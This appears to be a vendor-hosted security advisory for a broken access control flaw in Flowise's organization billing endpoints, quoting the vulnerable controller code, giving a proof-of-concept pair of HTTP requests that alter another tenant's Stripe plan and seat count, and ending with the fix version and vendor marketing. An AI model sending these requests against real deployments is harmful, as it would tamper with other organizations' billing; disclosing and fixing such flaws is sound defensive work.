Summary
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.
This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.
Details
Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.
File
packages/server/src/enterprise/routes/organization.route.ts
Affected routes:
router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan
File
packages/server/src/enterprise/controllers/organization.controller.ts
public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
const { subscriptionId, newPlanId, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateSubscriptionPlan(
req,
subscriptionId,
newPlanId,
prorationDate
)
return res.status(StatusCodes.OK).json(result)
}
The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.
Missing validation:
subscriptionId belongs to req.user.activeOrganization
updateAdditionalSeats
public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
const { subscriptionId, quantity, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateAdditionalSeats(
subscriptionId,
quantity,
prorationDate
)
return res.status(StatusCodes.OK).json(result)
}
Again, the subscriptionId is taken directly from the request body without verifying ownership.
PoC
Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
sub_YYYYYYYYYYYY
Step 2 - Modify victim subscription
POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"newPlanId": "free_plan_id",
"prorationDate": 1735689600
}
Step 3 - Change seat quantity
POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"quantity": 0,
"prorationDate": 1735689600
}
Impact
An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
- Unauthorized subscription upgrades to higher-priced plans
- Manipulation of paid seat quantities leading to unintended charges
- Service disruption through plan downgrades
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-70476? CVE-2026-70476 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.
- Which versions of flowise are affected by CVE-2026-70476? flowise (npm) versions <= 3.1.2 is affected.
- Is there a fix for CVE-2026-70476? Yes. CVE-2026-70476 is fixed in 3.1.3. Upgrade to this version or later.
- Is CVE-2026-70476 exploitable, and should I be worried? Whether CVE-2026-70476 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-70476 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-70476? Upgrade
flowiseto 3.1.3 or later.